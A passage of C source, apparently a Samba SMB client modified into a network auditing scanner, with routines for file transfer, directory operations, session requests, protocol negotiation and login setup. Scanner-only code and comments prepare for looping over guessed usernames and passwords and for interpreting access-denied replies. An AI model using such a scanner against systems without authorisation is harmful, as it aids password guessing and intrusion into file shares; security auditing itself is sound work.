      dirlist = Realloc(dirlist,dirlist_len + resp_data_len);

      if (!dirlist)
	{
	  DEBUG(0,("Failed to expand dirlist\n"));
	  break;
	}

      /* put in a length for the last entry, to ensure we can chain entries 
	 into the next packet */
      {
	char *p2;
	for (p2=p,i=0;i<(ff_searchcount-1);i++)
	  p2 += interpret_long_filename(info_level,p2,NULL);
	SSVAL(p2,0,resp_data_len - PTR_DIFF(p2,p));
      }

      /* grab the data for later use */
      memcpy(dirlist+dirlist_len,p,resp_data_len);
      dirlist_len += resp_data_len;

      total_received += ff_searchcount;

      if (resp_data) free(resp_data); resp_data = NULL;
      if (resp_param) free(resp_param); resp_param = NULL;

      DEBUG(3,("received %d entries (eos=%d resume=%d)\n",
	       ff_searchcount,ff_eos,ff_resume_key));

      First = False;
    }

  if (!fn)
    for (p=dirlist,i=0;i<total_received;i++)
      {
	p += interpret_long_filename(info_level,p,&finfo);
	display_finfo(&finfo);
      }

  for (p=dirlist,i=0;i<total_received;i++)
    {
#ifdef SCANNER
      if (stepping && tested_stash)
	break;				/* quit early if just testing.. */
#endif /* SCANNER */
      p += interpret_long_filename(info_level,p,&finfo);
      dir_action(inbuf,outbuf,attribute,&finfo,recurse_dir,fn,True);
    }

  /* free up the dirlist buffer */
  if (dirlist) free(dirlist);
  return(total_received);
}

/*
 * get a directory listing
 */
static void cmd_dir(char *inbuf,char *outbuf)
{
  int attribute = aDIR | aSYSTEM | aHIDDEN;
  pstring mask;
  fstring buf;
  char *p=buf;

  strcpy(mask,cur_dir);
  if(mask[strlen(mask)-1]!='\\')
    strcat(mask,"\\");

  if (next_token(NULL,buf,NULL))
    {
      if (*p == '\\')
	strcpy(mask,p);
      else
	strcat(mask,p);
    }
  else {
    if (Protocol < PROTOCOL_NT1)
      strcat(mask,"*.*");
    else
      strcat(mask,"*");
  }

  do_dir(inbuf,outbuf,mask,attribute,NULL,recurse);
  do_dskattr();
}

/*
 * get a file from rname to lname
 */
static void do_get(char *rname,char *lname,file_info *finfo1)
{  
  int handle=0,fnum;
  uint32 nread=0;
  char *p;
  BOOL newhandle = False;
  char *inbuf,*outbuf;
  file_info finfo;
  BOOL close_done = False;
  BOOL ignore_close_error = False;
  char *dataptr=NULL;
  int datalen=0;

  struct timeval tp_start;
  GetTimeOfDay(&tp_start);

  if (finfo1) 
    finfo = *finfo1;
  else
    finfo = def_finfo;

  if (lowercase)
    strlower(lname);

  inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);

  if (!inbuf || !outbuf)
    {
      DEBUG(0,("out of memory\n"));
      return;
    }

  bzero(outbuf,smb_size);
  set_message(outbuf,15,1 + strlen(rname),True);

  CVAL(outbuf,smb_com) = SMBopenX;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  SSVAL(outbuf,smb_vwv0,0xFF);
  SSVAL(outbuf,smb_vwv2,1);
  SSVAL(outbuf,smb_vwv3,(DENY_NONE<<4));
  SSVAL(outbuf,smb_vwv4,aSYSTEM | aHIDDEN);
  SSVAL(outbuf,smb_vwv5,aSYSTEM | aHIDDEN);
  SSVAL(outbuf,smb_vwv8,1);

  p = smb_buf(outbuf);
  strcpy(p,rname);
  p = skip_string(p,1);

  /* do a chained openX with a readX? */
#if 1
  if (finfo.size > 0)
    {
      DEBUG(3,("Chaining readX wth openX\n"));
      SSVAL(outbuf,smb_vwv0,SMBreadX);
      SSVAL(outbuf,smb_vwv1,smb_offset(p,outbuf));
      bzero(p,200);
      p -= smb_wct;
      SSVAL(p,smb_wct,10);
      SSVAL(p,smb_vwv0,0xFF);
      SSVAL(p,smb_vwv5,MIN(max_xmit-500,finfo.size));
      SSVAL(p,smb_vwv9,MIN(BUFFER_SIZE,finfo.size));
      smb_setlen(outbuf,smb_len(outbuf)+11*2+1);  
    }
#endif

  if(!strcmp(lname,"-"))
    handle = fileno(stdout);
  else 
    {
      handle = creat(lname,0644);
      newhandle = True;
    }
  if (handle < 0)
    {
      DEBUG(0,("Error opening local file %s\n",lname));
      free(inbuf);free(outbuf);
      return;
    }

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
    {
      if (CVAL(inbuf,smb_rcls) == ERRSRV &&
	  SVAL(inbuf,smb_err) == ERRnoresource &&
	  reopen_connection(inbuf,outbuf))
	{
	  do_get(rname,lname,finfo1);
	  return;
	}
      DEBUG(0,("%s opening remote file %s\n",smb_errstr(inbuf),CNV_LANG(rname)));
      if(newhandle)
	close(handle);
      free(inbuf);free(outbuf);
      return;
    }

  strcpy(finfo.name,rname);

  if (!finfo1)
    {
      finfo.mode = SVAL(inbuf,smb_vwv3);
      /* these times arrive as LOCAL time, using the DST offset 
	 corresponding to that time, we convert them to GMT */
      finfo.mtime = make_unix_date3(inbuf+smb_vwv4);
      finfo.atime = finfo.ctime = finfo.mtime;
      finfo.size = IVAL(inbuf,smb_vwv6);
    }

  DEBUG(3,("file %s attrib 0x%X\n",CNV_LANG(finfo.name),finfo.mode));

  fnum = SVAL(inbuf,smb_vwv2);

  /* we might have got some data from a chained readX */
  if (SVAL(inbuf,smb_vwv0) == SMBreadX)
    {
      p = (smb_base(inbuf)+SVAL(inbuf,smb_vwv1)) - smb_wct;
      datalen = SVAL(p,smb_vwv5);
      dataptr = smb_base(inbuf) + SVAL(p,smb_vwv6);
    }
  else
    {
      dataptr = NULL;
      datalen = 0;
    }

  DEBUG(2,("getting file %s of size %d bytes as %s ",
	   CNV_LANG(finfo.name),
	   finfo.size,
	   lname));

  while (nread < finfo.size && !close_done)
    {
      int method = -1;
      static BOOL can_chain_close = True;

      p=NULL;

      DEBUG(3,("nread=%d max_xmit=%d fsize=%d\n",nread,max_xmit,finfo.size));

      /* 3 possible read types. readbraw if a large block is required.
	 readX + close if not much left and read if neither is supported */

      /* we might have already read some data from a chained readX */
      if (dataptr && datalen>0)
	method=3;

      /* if we can finish now then readX+close */
      if (method<0 && can_chain_close && (Protocol >= PROTOCOL_LANMAN1) && 
	  ((finfo.size - nread) < 
	   (max_xmit - (2*smb_size + 13*SIZEOFWORD + 300))))
	method = 0;

      /* if we support readraw then use that */
      if (method<0 && readbraw_supported)
	method = 1;

      /* if we can then use readX */
      if (method<0 && (Protocol >= PROTOCOL_LANMAN1))
	method = 2;

      switch (method)
	{
	  /* use readX */
	case 0:
	case 2:
	  if (method == 0)
	    close_done = True;

	  /* use readX + close */
	  bzero(outbuf,smb_size);
	  set_message(outbuf,10,0,True);
	  CVAL(outbuf,smb_com) = SMBreadX;
	  SSVAL(outbuf,smb_tid,cnum);
	  setup_pkt(outbuf);

	  if (close_done)
	    {
	      CVAL(outbuf,smb_vwv0) = SMBclose;
	      SSVAL(outbuf,smb_vwv1,smb_offset(smb_buf(outbuf),outbuf));
	    }
	  else
	    CVAL(outbuf,smb_vwv0) = 0xFF;	      

	  SSVAL(outbuf,smb_vwv2,fnum);
	  SIVAL(outbuf,smb_vwv3,nread);
	  SSVAL(outbuf,smb_vwv5,MIN(max_xmit-200,finfo.size - nread));
	  SSVAL(outbuf,smb_vwv6,0);
	  SIVAL(outbuf,smb_vwv7,0);
	  SSVAL(outbuf,smb_vwv9,MIN(BUFFER_SIZE,finfo.size-nread));

	  if (close_done)
	    {
	      p = smb_buf(outbuf);
	      bzero(p,9);

	      CVAL(p,0) = 3;
	      SSVAL(p,1,fnum);
	      SIVALS(p,3,-1);

	      /* now set the total packet length */
	      smb_setlen(outbuf,smb_len(outbuf)+9);
	    }

	  send_smb(Client,outbuf);
	  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

	  if (CVAL(inbuf,smb_rcls) != 0)
	    {
	      DEBUG(0,("Error %s reading remote file\n",smb_errstr(inbuf)));
	      break;
	    }

	  if (close_done &&
	      SVAL(inbuf,smb_vwv0) != SMBclose)
	    {
	      /* NOTE: WfWg sometimes just ignores the chained
		 command! This seems to break the spec? */
	      DEBUG(3,("Rejected chained close?\n"));
	      close_done = False;
	      can_chain_close = False;
	      ignore_close_error = True;
	    }

	  datalen = SVAL(inbuf,smb_vwv5);
	  dataptr = smb_base(inbuf) + SVAL(inbuf,smb_vwv6);
	  break;

	  /* use readbraw */
	case 1:
	  {
	    static int readbraw_size = BUFFER_SIZE;

	    extern int Client;
	    bzero(outbuf,smb_size);
	    set_message(outbuf,8,0,True);
	    CVAL(outbuf,smb_com) = SMBreadbraw;
	    SSVAL(outbuf,smb_tid,cnum);
	    setup_pkt(outbuf);
	    SSVAL(outbuf,smb_vwv0,fnum);
	    SIVAL(outbuf,smb_vwv1,nread);
	    SSVAL(outbuf,smb_vwv3,MIN(finfo.size-nread,readbraw_size));
	    SSVAL(outbuf,smb_vwv4,0);
	    SIVALS(outbuf,smb_vwv5,-1);
	    send_smb(Client,outbuf);

	    /* Now read the raw data into the buffer and write it */	  
	    if(read_smb_length(Client,inbuf,0) == -1) {
	      DEBUG(0,("Failed to read length in readbraw\n"));	    
	      exit(1);
	    }

	    /* Even though this is not an smb message, smb_len
	       returns the generic length of an smb message */
	    datalen = smb_len(inbuf);

	    if (datalen == 0)
	      {
		/* we got a readbraw error */
		DEBUG(4,("readbraw error - reducing size\n"));
		readbraw_size = (readbraw_size * 9) / 10;

		if (readbraw_size < max_xmit)
		  {
		    DEBUG(0,("disabling readbraw\n"));
		    readbraw_supported = False;
		  }

		dataptr=NULL;
		continue;
	      }

	    if(read_data(Client,inbuf,datalen) != datalen) {
	      DEBUG(0,("Failed to read data in readbraw\n"));
	      exit(1);
	    }
	    dataptr = inbuf;
	  }
	  break;

	case 3:
	  /* we've already read some data with a chained readX */
	  break;

	default:
	  /* use plain read */
	  bzero(outbuf,smb_size);
	  set_message(outbuf,5,0,True);
	  CVAL(outbuf,smb_com) = SMBread;
	  SSVAL(outbuf,smb_tid,cnum);
	  setup_pkt(outbuf);

	  SSVAL(outbuf,smb_vwv0,fnum);
	  SSVAL(outbuf,smb_vwv1,MIN(max_xmit-200,finfo.size - nread));
	  SIVAL(outbuf,smb_vwv2,nread);
	  SSVAL(outbuf,smb_vwv4,finfo.size - nread);

	  send_smb(Client,outbuf);
	  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

	  if (CVAL(inbuf,smb_rcls) != 0)
	    {
	      DEBUG(0,("Error %s reading remote file\n",smb_errstr(inbuf)));
	      break;
	    }

	  datalen = SVAL(inbuf,smb_vwv0);
	  dataptr = smb_buf(inbuf) + 3;
	  break;
	}

      if (writefile(handle,dataptr,datalen) != datalen)
	{
	  DEBUG(0,("Error writing local file\n"));
	  break;
	}

      nread += datalen;
      if (datalen == 0) 
	{
	  DEBUG(0,("Error reading file %s. Got %d bytes\n",CNV_LANG(rname),nread));
	  break;
	}

      dataptr=NULL;
      datalen=0;
    }

  if (!close_done)
    {
      bzero(outbuf,smb_size);
      set_message(outbuf,3,0,True);
      CVAL(outbuf,smb_com) = SMBclose;
      SSVAL(outbuf,smb_tid,cnum);
      setup_pkt(outbuf);

      SSVAL(outbuf,smb_vwv0,fnum);
      SIVALS(outbuf,smb_vwv1,-1);

      send_smb(Client,outbuf);
      receive_smb(Client,inbuf,CLIENT_TIMEOUT);

      if (!ignore_close_error && CVAL(inbuf,smb_rcls) != 0)
	{
	  DEBUG(0,("Error %s closing remote file\n",smb_errstr(inbuf)));
	  if(newhandle)
	    close(handle);
	  free(inbuf);free(outbuf);
	  return;
	}
    }

  if(newhandle)
    close(handle);

  if (archive_level >= 2 && (finfo.mode & aARCH)) {
    bzero(outbuf,smb_size);
    set_message(outbuf,8,strlen(rname)+4,True);
    CVAL(outbuf,smb_com) = SMBsetatr;
    SSVAL(outbuf,smb_tid,cnum);
    setup_pkt(outbuf);
    SSVAL(outbuf,smb_vwv0,finfo.mode & ~(aARCH));
    SIVALS(outbuf,smb_vwv1,0);
    p = smb_buf(outbuf);
    *p++ = 4;
    strcpy(p,rname);
    p += strlen(p)+1;
    *p++ = 4;
    *p = 0;
    send_smb(Client,outbuf);
    receive_smb(Client,inbuf,CLIENT_TIMEOUT);
  }

  {
    struct timeval tp_end;
    int this_time;

    GetTimeOfDay(&tp_end);
    this_time = 
      (tp_end.tv_sec - tp_start.tv_sec)*1000 +
	(tp_end.tv_usec - tp_start.tv_usec)/1000;
    get_total_time_ms += this_time;
    get_total_size += finfo.size;

    DEBUG(2,("(%g kb/s) (average %g kb/s)\n",
	     finfo.size / (1.024*this_time + 1.0e-4),
	     get_total_size / (1.024*get_total_time_ms)));
  }

  free(inbuf);free(outbuf);
}

/*
 * get a file
 */
static void cmd_get(void)
{
  pstring lname;
  pstring rname;
  char *p;

  strcpy(rname,cur_dir);
  strcat(rname,"\\");

  p = rname + strlen(rname);

  if (!next_token(NULL,p,NULL)) {
    DEBUG(0,("get <filename>\n"));
    return;
  }
  strcpy(lname,p);
#ifndef SCANNER
  dos_clean_name(rname);
#endif

  next_token(NULL,lname,NULL);

  do_get(rname,lname,NULL);
}

/*
 * make a directory of name "name"
 */
static BOOL do_mkdir(char *name)
{
  char *p;
  char *inbuf,*outbuf;

  inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);

  if (!inbuf || !outbuf)
    {
      DEBUG(0,("out of memory\n"));
      return False;
    }

  bzero(outbuf,smb_size);
  set_message(outbuf,0,2 + strlen(name),True);

  CVAL(outbuf,smb_com) = SMBmkdir;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);
  p = smb_buf(outbuf);
  *p++ = 4;      
  strcpy(p,name);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
    {
      DEBUG(0,("%s making remote directory %s\n", smb_errstr(inbuf),
               CNV_LANG(name)));

      free(inbuf);free(outbuf);
      return(False);
    }

  free(inbuf);free(outbuf);
  return(True);
}

/*
 * make a directory
 */
static void cmd_mkdir(char *inbuf,char *outbuf)
{
  pstring mask;
  fstring buf;
  char *p=buf;

  strcpy(mask,cur_dir);
  strcat(mask,"\\");			/* prepend with \\ */

  if (!next_token(NULL,p,NULL))
    {
      if (!recurse)
	DEBUG(0,("mkdir <dirname>\n"));
      return;
    }
  strcat(mask,p);

  if (recurse)
    {
      pstring ddir;
      pstring ddir2;
      *ddir2 = 0;

      strcpy(ddir,mask);
      trim_string(ddir,".",NULL);
      p = strtok(ddir,"/\\");
      while (p)
	{
	  strcat(ddir2,p);
	  if (!chkpath(ddir2,False))
	    {		  
	      do_mkdir(ddir2);
	    }
	  strcat(ddir2,"\\");
	  p = strtok(NULL,"/\\");
	}	 
    }
  else
    do_mkdir(mask);
}

/*
 * remove a directory of name "name".  Added cuz cmd_rmdir otherwise does
 * the SMB stuff directly, and we want a callable thing.
 */
static BOOL do_rmdir(char *name)
{
  char *p;
  char *inbuf,*outbuf;

  inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);

  if (!inbuf || !outbuf)
    {
      DEBUG(0,("out of memory\n"));
      return False;
    }

  bzero(outbuf,smb_size);
  set_message(outbuf,0,2 + strlen(name),True);

  CVAL(outbuf,smb_com) = SMBrmdir;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);
  p = smb_buf(outbuf);
  *p++ = 4;      
  strcpy(p,name);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
    {
      DEBUG(0,("%s removing remote directory %s\n",
	       smb_errstr(inbuf),CNV_LANG(name)));

      free(inbuf);free(outbuf);
      return(False);
    }

  free(inbuf);free(outbuf);
  return(True);
} /* do_rmdir */

/*
 * delete some files
 */
static void do_del(file_info *finfo)
{
  char *p;
  char *inbuf,*outbuf;
  pstring mask;

  strcpy(mask,cur_dir);
  strcat(mask,finfo->name);

  if (finfo->mode & aDIR) 
    return;

  inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);

  if (!inbuf || !outbuf)
    {
      DEBUG(0,("out of memory\n"));
      return;
    }

  bzero(outbuf,smb_size);
  set_message(outbuf,1,2 + strlen(mask),True);

  CVAL(outbuf,smb_com) = SMBunlink;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  SSVAL(outbuf,smb_vwv0,0);

  p = smb_buf(outbuf);
  *p++ = 4;      
  strcpy(p,mask);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
    DEBUG(0,("%s deleting remote file %s\n",smb_errstr(inbuf),CNV_LANG(mask)));

  free(inbuf);free(outbuf);

}

/*
 * delete some files
 */
static void cmd_del(char *inbuf,char *outbuf )
{
  pstring mask;
  fstring buf;
  int attribute = aSYSTEM | aHIDDEN;

  if (recurse)
    attribute |= aDIR;

  strcpy(mask,cur_dir);
  strcat(mask,"\\");			/* prepend \\ */

  if (!next_token(NULL,buf,NULL))
    {
      DEBUG(0,("del <filename>\n"));
      return;
    }
  strcat(mask,buf);

  do_dir((char *)inbuf,(char *)outbuf,mask,attribute,do_del,False);
}

/*
 * remove a directory
 */
static void cmd_rmdir(char *inbuf,char *outbuf )
{
  pstring mask;
  fstring buf;
  char *p;

  strcpy(mask,cur_dir);
  strcat(mask,"\\");			/* prepend with \\ */

  if (!next_token(NULL,buf,NULL))
    {
      DEBUG(0,("rmdir <dirname>\n"));
      return;
    }
  strcat(mask,buf);

  bzero(outbuf,smb_size);
  set_message(outbuf,0,2 + strlen(mask),True);

  CVAL(outbuf,smb_com) = SMBrmdir;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);
  p = smb_buf(outbuf);
  *p++ = 4;      
  strcpy(p,mask);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
    {
      DEBUG(0,("%s removing remote directory file %s\n",smb_errstr(inbuf),CNV_LANG(mask)));
      return;
    }

}

/*
 * send a session request
 */
static BOOL send_session_request(char *inbuf,char *outbuf)
{
  fstring dest;
  char *p;
  int len = 4;
  /* send a session request (RFC 8002) */

  strcpy(dest,desthost);
  p = strchr(dest,'.');
  if (p) *p = 0;

  /* put in the destination name */
  p = outbuf+len;
  name_mangle(dest,p,name_type);
  len += name_len(p);

  /* and my name */
  p = outbuf+len;
  name_mangle(myname,p,0);
  len += name_len(p);

  /* setup the packet length */
  _smb_setlen(outbuf,len);
  CVAL(outbuf,0) = 0x81;

  send_smb(Client,outbuf);
  DEBUG(5,("Sent session request\n"));

  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,0) == 0x84) /* C. Hoch  9/14/95 Start */
    {
      /* For information, here is the response structure.
       * We do the byte-twiddling to for portability.
       struct RetargetResponse{
       unsigned char type;
       unsigned char flags;
       int16 length;
       int32 ip_addr;
       int16 port;
       };
       */
      extern int Client;
      int port = (CVAL(inbuf,8)<<8)+CVAL(inbuf,9);
      /* SESSION RETARGET */
      putip((char *)&dest_ip,inbuf+4);

      close_sockets();
#ifdef SCANNER
      DEBUG(3,("Retargeted to [%s] %d\n", inet_ntoa (dest_ip), port));
#endif
      Client = open_socket_out(SOCK_STREAM, &dest_ip, port);
      if (Client == -1)
        return False;

      DEBUG(3,("Retargeted\n"));

      set_socket_options(Client,user_socket_options);

      /* Try again */
      return send_session_request(inbuf,outbuf);
    } /* C. Hoch 9/14/95 End */

  if (CVAL(inbuf,0) != 0x82)
    {
      int ecode = CVAL(inbuf,4);
      DEBUG(0,("Session request failed (%d,%d) with myname=%s destname=%s\n",
	       CVAL(inbuf,0),ecode,myname,desthost));

/*
 * XXX: do something slightly more intelligent here, like only "reasons" 
 */

#ifndef SCANNER
      switch (ecode)
	{
	case 0x80: 
	  DEBUG(0,("Not listening on called name\n")); 
	  DEBUG(0,("Try to connect to another name (instead of %s)\n",desthost));
	  DEBUG(0,("You may find the -I option useful for this\n"));
	  break;
	case 0x81: 
	  DEBUG(0,("Not listening for calling name\n")); 
	  DEBUG(0,("Try to connect as another name (instead of %s)\n",myname));
	  DEBUG(0,("You may find the -n option useful for this\n"));
	  break;
	case 0x82: 
	  DEBUG(0,("Called name not present\n")); 
	  DEBUG(0,("Try to connect to another name (instead of %s)\n",desthost));
	  DEBUG(0,("You may find the -I option useful for this\n"));
	  break;
	case 0x83: 
	  DEBUG(0,("Called name present, but insufficient resources\n")); 
	  DEBUG(0,("Perhaps you should try again later?\n")); 
	  break;
	default:
	  DEBUG(0,("Unspecified error 0x%X\n",ecode)); 
	  DEBUG(0,("Your server software is being unfriendly\n"));
	  break;	  
	}
#endif /* SCANNER */
      return(False);
    }
  return(True);
}

#ifdef STEPPING

/*
 * Turn various server errors into a single interpretable status.
 * The error returns from various platforms are many and varied, but all of
 * them mean a couple of basic things.  This boils relevant ones down roughly
 * to common server-class status, i.e.:
 *    0 success
 *    2 access denied, or wrong username/passwd for session OR share
 *    5 network-ID not found, for session
 *    6 sharename not found, TCon problem
 *    1 anything else, probably fatal, including disabled accounts,
 *      negotiation problems, etc
 */

static int interpret_serr (rcls, err)
unsigned char rcls;
uint16 err;
{
  register int reserr = 0;

  if ((rcls == 0) && (err == 0)) return (0);	/* no error */
  if (rcls == ERRSRV) {
    if (err == 1) return (1);
    if (err == 2) return (2);
    if (err == 4) return (1);
    if (err == 5) return (5);
    if (err == 6) return (6);
    if (err == 7) return (6);
  } /* ERRSRV */
  if (rcls == ERRDOS) {
    if (err == 5) return (2);
    if (err == 65) return (1);
    if (err == 67) return (6);
    if (err == 71) return (1);
    if (err == 86) return (2);
    if (err == 87) return (1);
    if (err == 90) return (1);
    if (err == 2239) return (1);
    if (err == 2240) return (1);
    if (err == 2241) return (1);
    if (err == 2242) return (1);
    if (err == 2247) return (1);
  } /* ERRDOS */
  return (1);				/* didn't find any mapping */
} /* interpret_serr */

/*
 * Do an nmb status query; collect all the names.
 */
static BOOL send_status(char *lookup)
{
  register int x;
  int udpfd;

  if ((udpfd = open_socket_in(SOCK_DGRAM, 137, 3)) < 0)
    return (0);

  DEBUG(3, ("UDP Socket opened.\n"));

  x = H_name_status(udpfd, lookup, name_type, dest_ip);

  /*
   * our modded version of which needs to:
   *   use unicast
   *   probably use name "*", zero-filled, nametype 0, --> CKAAAAAAAAA....
   *   fill in try_names with hostnames, workgroups, ???
   *   fill in try_users with 0x3 nametype stuff et al
   *   fill in try_pass with selected items from both...
   */

  (void) close (udpfd);
  if (x == 0)
    return (0);				/* didn't get anything, oh well */
  return (1);
} /* send_status */

/* Moved these vars outside send_login, so all routines here have access: */
static int sesskey=0;			/* from send_login */
static time_t servertime = 0;		/* from send_login */
static int sec_mode=0;			/* from send_login */
static int crypt_len;			/* from send_login */
static int max_vcs=0;			/* from send_login */

static BOOL send_prots(char *inbuf,char *outbuf)
{
  BOOL was_null = (!inbuf && !outbuf);
  extern int serverzone;
  struct {
    int prot;
    char *name;
  }
  prots[] = 
    {
      {PROTOCOL_CORE,"PC NETWORK PROGRAM 1.0"},
      {PROTOCOL_COREPLUS,"MICROSOFT NETWORKS 1.03"},
      {PROTOCOL_LANMAN1,"MICROSOFT NETWORKS 3.0"},
      {PROTOCOL_LANMAN1,"LANMAN1.0"},
      {PROTOCOL_LANMAN2,"LM1.2X002"},
      {PROTOCOL_LANMAN2,"Samba"},
      {PROTOCOL_NT1,"NT LM 0.12"},
      {PROTOCOL_NT1,"NT LANMAN 1.0"},
      {-1,NULL}
    };
  register char *p;
  int numprots;

  if (was_null)
    return (0);

  bzero(outbuf,smb_size);

  /* setup the protocol strings */
  {
    int plength;

    for (plength=0,numprots=0;
	 prots[numprots].name && prots[numprots].prot<=max_protocol;
	 numprots++)
      plength += strlen(prots[numprots].name)+2;

    set_message(outbuf,0,plength,True);

    p = smb_buf(outbuf);
    for (numprots=0;
	 prots[numprots].name && prots[numprots].prot<=max_protocol;
	 numprots++)
      {
	*p++ = 2;
	strcpy(p,prots[numprots].name);
	p += strlen(p) + 1;
      }
  }

  CVAL(outbuf,smb_com) = SMBnegprot;
  setup_pkt(outbuf);

  CVAL(smb_buf(outbuf),0) = 2;

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  show_msg(inbuf);

  if (CVAL(inbuf,smb_rcls) != 0 || ((int)SVAL(inbuf,smb_vwv0) >= numprots))
    {
      DEBUG(0,("SMBnegprot failed. myname=%s destname=%s - %s \n",
	    myname,desthost,smb_errstr(inbuf)));
      return(False);
    }

  Protocol = prots[SVAL(inbuf,smb_vwv0)].prot;

  /*
   * SCANNER: if sent limited set but still get back secmode=doencrypt, need to
   * correct for it somehow.  Easy answer: turn off doencrypt externally! 
   */

  if (Protocol < PROTOCOL_NT1) {    
    sec_mode = SVAL(inbuf,smb_vwv1);
    max_xmit = SVAL(inbuf,smb_vwv2);
    sesskey = IVAL(inbuf,smb_vwv6);
    serverzone = SVALS(inbuf,smb_vwv10)*60;
    /* this time is converted to GMT by make_unix_date */
    servertime = make_unix_date(inbuf+smb_vwv8);
    if (Protocol >= PROTOCOL_COREPLUS) {
      readbraw_supported = ((SVAL(inbuf,smb_vwv5) & 0x1) != 0);
      writebraw_supported = ((SVAL(inbuf,smb_vwv5) & 0x2) != 0);
    }
    crypt_len = smb_buflen(inbuf);
    memcpy(cryptkey,smb_buf(inbuf),8);
    DEBUG(3,("max mux %d\n",SVAL(inbuf,smb_vwv3)));
    max_vcs = SVAL(inbuf,smb_vwv4); 
    DEBUG(3,("max vcs %d\n",max_vcs)); 
    DEBUG(3,("max blk %d\n",SVAL(inbuf,smb_vwv5)));
  } else {
    /* NT protocol */
    sec_mode = CVAL(inbuf,smb_vwv1);
    max_xmit = IVAL(inbuf,smb_vwv3+1);
    sesskey = IVAL(inbuf,smb_vwv7+1);
    serverzone = SVALS(inbuf,smb_vwv15+1)*60;
    /* this time arrives in real GMT */
    servertime = interpret_long_date(inbuf+smb_vwv11+1);
    crypt_len = CVAL(inbuf,smb_vwv16+1);
    memcpy(cryptkey,smb_buf(inbuf),8);
    if (IVAL(inbuf,smb_vwv9+1) & 1)
      readbraw_supported = writebraw_supported = True;      
    DEBUG(3,("max mux %d\n",SVAL(inbuf,smb_vwv1+1)));
    max_vcs = SVAL(inbuf,smb_vwv2+1); 
    DEBUG(3,("max vcs %d\n",max_vcs));
    DEBUG(3,("max raw %d\n",IVAL(inbuf,smb_vwv5+1)));
    DEBUG(3,("capabilities 0x%x\n",IVAL(inbuf,smb_vwv9+1)));
  }

  DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
#ifdef SCANNER
  DEBUG(3,("Real Sec mode %d\n",sec_mode));
#endif
  DEBUG(3,("max xmt %d\n",max_xmit));
  DEBUG(3,("Got %d byte crypt key\n",crypt_len));
#define PRINTK 1 /* XXX */
#ifdef PRINTK
  { register int i;
    for (i = 0; i < crypt_len; i++) {
      DEBUG (5,("%02X ", (unsigned char) cryptkey[i]));
      DEBUG (5,("\n")) ; fflush (stdout);
    }
  } /* PRINTK ctx */
#endif /* PRINTK */
  DEBUG(3,("Chose protocol [%s]\n",prots[SVAL(inbuf,smb_vwv0)].name));

#ifdef VERBOSE
  if (!said_protocol)
     natprintf("[*]--- Attempting to connect with protocol: %s\n",
            prots[SVAL(inbuf,smb_vwv0)].name);
#endif

  if (xflag)
    doencrypt = ((sec_mode & 2) != 0);

  if (servertime) {
    static BOOL done_time = False;
    if (!done_time) {

#ifdef VERBOSE
  if (!said_protocol) {
      natprintf("[*]--- Server time is %s[*]--- Timezone is UTC%+02.1f\n",
              asctime(LocalTime(&servertime,GMT_TO_LOCAL)),
              -(double)(serverzone/3600.0));
      said_protocol++;
  }
#endif

      DEBUG(1,("Server time is %sTimezone is UTC%+02.1f\n",
	       asctime(LocalTime(&servertime,GMT_TO_LOCAL)),
	       -(double)(serverzone/3600.0)));
      done_time = True;
    }
  }
  return (True);
} /* send_prots */

/*
 * send session setupX.  split from send_login
 */

/*
 * This only does a one-off shot, using global "username" and "password" 
 */
static BOOL send_setup (char *inbuf,char *outbuf)
{
  char *pass = password;
  register char * p;
  register int x;

  bzero(outbuf,smb_size);
  if (Protocol >= PROTOCOL_LANMAN1)		/* punted use_setup */
    {
      fstring pword;
      int passlen = strlen(pass)+1;
      strcpy(pword,pass);      

#ifdef SMB_PASSWD
/* check for user-level security: skip encrypting if we're not gonna use it */
      if (doencrypt && *pass && (sec_mode & 1)) {
	DEBUG(3,("Using encrypted session passwords\n"));
	passlen = 24;
	SMBencrypt(pass,cryptkey,pword);
      }
#else
      doencrypt = False;
#endif

      /* if in share level security then don't send a password now */
      if (!(sec_mode & 1)) {strcpy(pword, "");passlen=1;} 

      /* send a session setup command */
      bzero(outbuf,smb_size);

      if (Protocol < PROTOCOL_NT1) {
	set_message(outbuf,10,1 + strlen(username) + passlen,True);
	CVAL(outbuf,smb_com) = SMBsesssetupX;
	setup_pkt(outbuf);

	CVAL(outbuf,smb_vwv0) = 0xFF;
	SSVAL(outbuf,smb_vwv2,max_xmit);
	SSVAL(outbuf,smb_vwv3,2);
	SSVAL(outbuf,smb_vwv4,max_vcs-1);
	SIVAL(outbuf,smb_vwv5,sesskey);
	SSVAL(outbuf,smb_vwv7,passlen);
	p = smb_buf(outbuf);
	memcpy(p,pword,passlen);
	p += passlen;
	strcpy(p,username);
      } else {
/* xxx: dont for now; send regular len:
	if (!doencrypt) passlen--;		/* WHY??!?!? */
